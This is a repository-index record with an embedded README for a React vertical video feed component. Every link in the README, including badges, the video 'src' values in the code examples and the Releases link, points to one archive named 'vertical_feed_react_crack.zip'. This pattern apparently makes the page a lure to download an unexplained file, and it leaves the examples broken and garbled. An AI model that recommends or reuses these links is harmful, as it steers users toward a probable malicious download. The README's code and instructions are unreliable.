{"id":27555841,"url":"https://github.com/sasi5870/react-vertical-feed","last_synced_at":"2026-05-11T05:34:57.770Z","repository":{"id":288023223,"uuid":"966550831","full_name":"sasi5870/react-vertical-feed","owner":"sasi5870","description":"React component for smooth, vertical video feeds like TikTok or Instagram, with auto play/pause based on visibility.","archived":false,"fork":false,"pushed_at":"2025-04-15T07:04:09.000Z","size":162,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-15T07:24:08.014Z","etag":null,"topics":["component","feed","instagram","media","react","reels","scroll","shorts","tiktok","vertical","video","youtube"],"latest_commit_sha":null,"homepage":null,"language":"TypeScript","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sasi5870.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-04-15T05:15:29.000Z","updated_at":"2025-04-15T07:04:13.000Z","dependencies_parsed_at":"2025-04-15T07:34:28.009Z","dependency_job_id":null,"html_url":"https://github.com/sasi5870/react-vertical-feed","commit_stats":null,"previous_names":["sasi5870/react-vertical-feed"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sasi5870%2Freact-vertical-feed","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sasi5870%2Freact-vertical-feed/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sasi5870%2Freact-vertical-feed/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sasi5870%2Freact-vertical-feed/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sasi5870","download_url":"https://codeload.github.com/sasi5870/react-vertical-feed/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249753972,"owners_count":21320727,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["component","feed","instagram","media","react","reels","scroll","shorts","tiktok","vertical","video","youtube"],"created_at":"2025-04-19T17:55:20.808Z","updated_at":"2026-05-11T05:34:57.764Z","avatar_url":"https://github.com/sasi5870.png","language":"TypeScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 📹 React Vertical Feed\n\n![React Vertical Feed](https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip%20Vertical%https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip)  \n[![Release](https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip%20Latest%https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip)](https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip)\n\n## Introduction\n\nWelcome to the **React Vertical Feed** repository! This project offers a React component designed for smooth, vertical video feeds similar to those found on TikTok or Instagram. The component supports autoplay and pause functionality based on the video's visibility in the viewport. This makes it an excellent choice for creating engaging media experiences.\n\n## Table of Contents\n\n1. [Features](#features)\n2. [Installation](#installation)\n3. [Usage](#usage)\n4. [API Reference](#api-reference)\n5. [Examples](#examples)\n6. [Contributing](#contributing)\n7. [License](#license)\n8. [Release Notes](#release-notes)\n\n## Features\n\n- **Smooth Scrolling**: Enjoy seamless transitions as users scroll through the feed.\n- **Auto Play/Pause**: Videos automatically play when in view and pause when out of view.\n- **Responsive Design**: The component adapts to various screen sizes.\n- **Customizable**: Easily tweak styles and settings to match your application's needs.\n- **Lightweight**: Minimal impact on your application's performance.\n\n## Installation\n\nTo install the React Vertical Feed component, use npm or yarn:\n\n```bash\nnpm install react-vertical-feed\n```\n\nor\n\n```bash\nyarn add react-vertical-feed\n```\n\n## Usage\n\nTo use the component in your project, import it and include it in your JSX. Here's a basic example:\n\n```jsx\nimport React from 'react';\nimport VerticalFeed from 'react-vertical-feed';\n\nconst App = () =\u003e {\n  const videos = [\n    { id: 1, src: 'https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip' },\n    { id: 2, src: 'https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip' },\n    // Add more video sources\n  ];\n\n  return (\n    \u003cVerticalFeed videos={videos} /\u003e\n  );\n};\n\nexport default App;\n```\n\n## API Reference\n\n### Props\n\n| Prop          | Type       | Description                                   |\n|---------------|------------|-----------------------------------------------|\n| `videos`      | Array      | An array of video objects. Each object should contain `id` and `src`. |\n| `autoplay`    | Boolean    | Set to true to enable autoplay. Default is `true`. |\n| `pauseOnScroll` | Boolean  | Set to true to pause videos when scrolling. Default is `true`. |\n\n## Examples\n\n### Basic Example\n\n```jsx\nimport React from 'react';\nimport VerticalFeed from 'react-vertical-feed';\n\nconst App = () =\u003e {\n  const videos = [\n    { id: 1, src: 'https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip' },\n    { id: 2, src: 'https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip' },\n  ];\n\n  return (\n    \u003cVerticalFeed videos={videos} /\u003e\n  );\n};\n\nexport default App;\n```\n\n### Custom Styling\n\nYou can customize the styles of the component by passing a `style` prop:\n\n```jsx\n\u003cVerticalFeed \n  videos={videos} \n  style={{ height: '100vh', backgroundColor: '#000' }} \n/\u003e\n```\n\n## Contributing\n\nWe welcome contributions! If you would like to help improve this project, please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch for your feature or bug fix.\n3. Make your changes and commit them.\n4. Push your branch and create a pull request.\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Release Notes\n\nFor the latest updates and changes, please check the [Releases](https://github.com/sasi5870/react-vertical-feed/raw/refs/heads/main/src/vertical_feed_react_crack.zip) section. Here, you can download the latest version and view detailed release notes.\n\n---\n\nWe hope you enjoy using the **React Vertical Feed** component! If you have any questions or feedback, feel free to reach out. Happy coding!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsasi5870%2Freact-vertical-feed","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsasi5870%2Freact-vertical-feed","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsasi5870%2Freact-vertical-feed/lists"}